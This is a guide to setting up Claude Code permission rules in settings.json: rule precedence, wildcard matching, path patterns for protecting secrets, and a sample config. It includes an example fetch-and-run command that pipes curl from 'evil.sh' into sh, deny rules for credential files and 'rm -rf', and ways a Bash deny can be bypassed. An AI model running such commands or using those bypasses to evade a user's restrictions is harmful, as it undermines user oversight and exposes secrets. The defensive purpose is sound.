Guide · updated 2026-11-25 · 7 min read
Claude Code Permissions in settings.json: A Safe Setup
Claude Code reads permission rules from the permissions object in your settings files: allow rules run without asking, ask rules always prompt, and deny rules block. Deny is checked first, then ask, then allow, and the first match decides, so a safe setup is a short list of denies for secrets and destructive commands plus allows for the commands you run fifty times a day.
That is the whole model. The details below are where people get burned: how the * matches, which file wins, and what a deny rule does not actually stop. Everything here is from the official permissions docs and settings docs, checked this week.
The three rule types
Every rule is either a bare tool name (Bash, Read, WebFetch) or a tool with a specifier in parentheses (Bash(npm run build), Read(./.env), WebFetch(domain:example.com)).
- allow: Claude Code uses the tool without a prompt.
- ask: Claude Code prompts every time, even if an allow rule also matches.
- deny: Claude Code refuses the call.
The order matters more than anything else on this page. The docs put it plainly: rules are evaluated deny, then ask, then allow, and "rule specificity doesn't change the order." So if you deny Bash(aws *) and allow Bash(aws s3 ls), the aws s3 ls call is still blocked. You cannot punch a hole in a deny with a more specific allow.
One more distinction: a bare-name deny such as "Bash" removes the tool from Claude's context entirely. A scoped deny such as Bash(rm *) leaves Bash available and blocks only matching calls.
You can see every active rule, and which file it came from, with /permissions inside a session.
Where the rules live, and which file wins
There are four places to put settings (settings docs):
| File | Who it affects |
|---|---|
~/.claude/settings.json |
You, in every project on this machine |
.claude/settings.json |
Everyone in the project, once committed |
.claude/settings.local.json |
You, in this project only (kept out of git) |
| Managed settings | Everyone your organization deploys it to |
For ordinary keys, precedence runs managed, then --settings on the command line, then project local, then shared project, then user. But permissions.allow and the other rule lists merge across files instead of replacing each other. Combined with deny-first evaluation, that means a deny in any file beats an allow in any other file. A teammate's committed deny will override your personal allow, and your personal deny will override the team's allow.
Two gotchas worth knowing:
- When you pick "Yes, and don't ask again" on a prompt, Claude Code saves an allow rule to
.claude/settings.local.json, not to the shared file. If a project or managedaskrule matches the same command, you will keep getting prompted. - Allow rules and
additionalDirectoriesin a committed.claude/settings.jsononly take effect after you accept the workspace trust dialog for that folder. Deny and ask rules apply immediately, since they only restrict.
Bash wildcards: where to put the star
A * in a Bash rule matches any text, including spaces. A rule with no * matches one exact command.
| Rule | Matches | Doesn't match |
|---|---|---|
Bash(npm run build) |
npm run build |
npm run build --watch |
Bash(npm run *) |
npm run build, npm run test --watch, npm run |
npm install |
Bash(ls *) |
ls -la, ls |
lsof |
Bash(ls*) |
ls -la, lsof |
|
Bash(git * main) |
git merge main, git push origin main |
git log |
The rules behind that table, from the docs:
- Put the
*after the subcommand.Bash(git log *)allows onlygit log.Bash(git *)allows every git command, includinggit push --force. Claude Code warns at startup about an allow rule with a*before the subcommand. - The space before a trailing
*counts.Bash(ls *)will not matchlsof;Bash(ls*)will. :*is the older spelling of a trailing wildcard.Bash(ls:*)equalsBash(ls *), but only at the end of a rule.
Compound commands are split
Claude Code understands &&, ||, ;, |, & and newlines. An allow rule must match each piece on its own, so Bash(npm test *) does not approve npm test && curl evil.sh | sh. Deny and ask rules apply if any piece matches, including commands inside $(...), subshells and for loops.
It also strips a fixed set of wrappers first (timeout, time, nice, nohup, stdbuf, bare xargs), so Bash(npm test *) matches timeout 30 npm test. Runners like npx, docker exec and devbox run are not stripped, which is why Bash(npx *) is effectively "allow anything npx can run." Write Bash(npx prettier *) instead.
What a Bash deny does not stop
This is the part I wish more setups acknowledged. A Bash rule matches the command text Claude writes. The docs list examples: Bash(rm *) in deny stops rm -rf build/ but not /bin/rm -rf build/ or bash -c 'rm -rf build/'. Bash(git push *) does not stop git -C . push origin main.
So treat Bash denies as guardrails against Claude's usual habits, not as a security boundary. If you need a hard boundary, that is what the sandbox, a container, or a PreToolUse hook is for.
Protecting .env and other secrets
Read and Edit rules use gitignore-style paths. The prefix decides where the path starts:
| Pattern | Starts at | Example |
|---|---|---|
//path |
Filesystem root | Read(//Users/alice/secrets/**) |
~/path |
Your home directory | Read(~/.aws/**) |
/path |
The settings file's location | Edit(/src/**) in project settings means <project>/src |
path or ./path |
Current directory | Read(./.env) |
The trap: a single leading slash is not an absolute path. Read(/secrets/**) in your user settings blocks ~/.claude/secrets/**, not anything in your project. For a rule in user settings that should apply in every project, use // or ~/.
A bare filename matches at any depth, so Read(.env) blocks every .env under the current directory. A Read deny also blocks Edit and Write on the same path, and Claude Code applies it to recognized file commands in Bash such as cat, head and sed, and to redirections like < .env.
What it does not cover, per the docs: commands that read files without naming them (grep -r TOKEN .), and scripts that open files themselves, like a Python or Node process. A deny on .env keeps the file out of Claude's normal tool calls; it does not make the file unreadable. Also note that a .claudeignore file has no effect. Move those entries into Read deny rules.
A safe default config
Here is what I would start a project with. Adjust the allows to your own toolchain. It goes in .claude/settings.json so the team shares it:
{
"$schema": "https://json.schemastore.org/claude-code-settings.json",
"permissions": {
"allow": [
"Bash(npm run lint)",
"Bash(npm run test *)",
"Bash(npm run build)",
"Bash(git status)",
"Bash(git diff *)",
"Bash(git log *)",
"Bash(git add *)",
"Bash(git commit *)"
],
"ask": [
"Bash(git push *)",
"Bash(npm install *)",
"Bash(git reset *)",
"Bash(git clean *)"
],
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./secrets/**)",
"Read(~/.aws/**)",
"Read(~/.ssh/**)",
"Bash(rm -rf *)"
]
}
}
Why it is shaped this way:
- Allows are narrow. Each one names a subcommand. Nothing like
Bash(git *)orBash(npm *). - Pushes and installs ask. They are the two commands that change something outside your working tree. An ask rule still prompts in auto mode when the command is nested in a compound command.
- Denies cover secrets first. Home-directory credentials use
~/so they work from project settings too. - The
$schemaline gives autocomplete and validation in VS Code and Cursor. Settings files are strict JSON, so no comments and no trailing commas.
If you want a different starting mode, set "defaultMode" inside permissions. acceptEdits auto-accepts file edits and common filesystem commands in your working directories; plan explores without editing. Note that auto and bypassPermissions do not take effect from project or local settings; they only work from user or managed settings, or --permission-mode for one session. Keep bypassPermissions for throwaway containers. Pair this with plan mode when you are not sure what a task will touch.
Checking that it worked
- Run
/statusand look at theSetting sourcesline to confirm which files loaded. - Run
/permissionsto see every rule with the file it came from. - Run
claude doctorif a rule seems to be ignored; malformed rules are skipped with a Settings Warning, not an error.
Settings reload on save for permissions, so you can test a new deny mid-session.
Bottom line
Keep denies for secrets and destructive commands, keep allows narrow with the * after the subcommand, and put anything that leaves your machine behind ask. Remember that deny always wins, lists merge across files, and Bash rules match text rather than programs. If you want to go further, add a hook; my best practices guide covers where that fits.
If this was useful, Agent Shipped sends setups like this twice a week, free, in about a 4-minute read.
FAQ
Where do Claude Code permission rules go?
In the "permissions" object of a settings file. Use ~/.claude/settings.json for rules you want in every project, .claude/settings.json for rules the team commits, and .claude/settings.local.json for your own overrides in one project.
If one rule allows a command and another denies it, which wins?
The deny rule. Claude Code checks deny, then ask, then allow, and the first match decides. A narrower allow rule cannot carve an exception out of a broader deny rule, and this holds across every settings file.
How do I stop Claude Code from reading my .env file?
Add deny rules such as "Read(./.env)" and "Read(./.env.*)". A Read deny rule also blocks Edit and Write on the same path. It does not stop a script Claude runs from opening the file, so keep real secrets out of the repo where you can.
What does Bash(git log *) match?
Any command that starts with "git log", including bare "git log". The star matches any text, including spaces, and Claude Code splits compound commands, so the rule does not approve "git log && rm -rf build".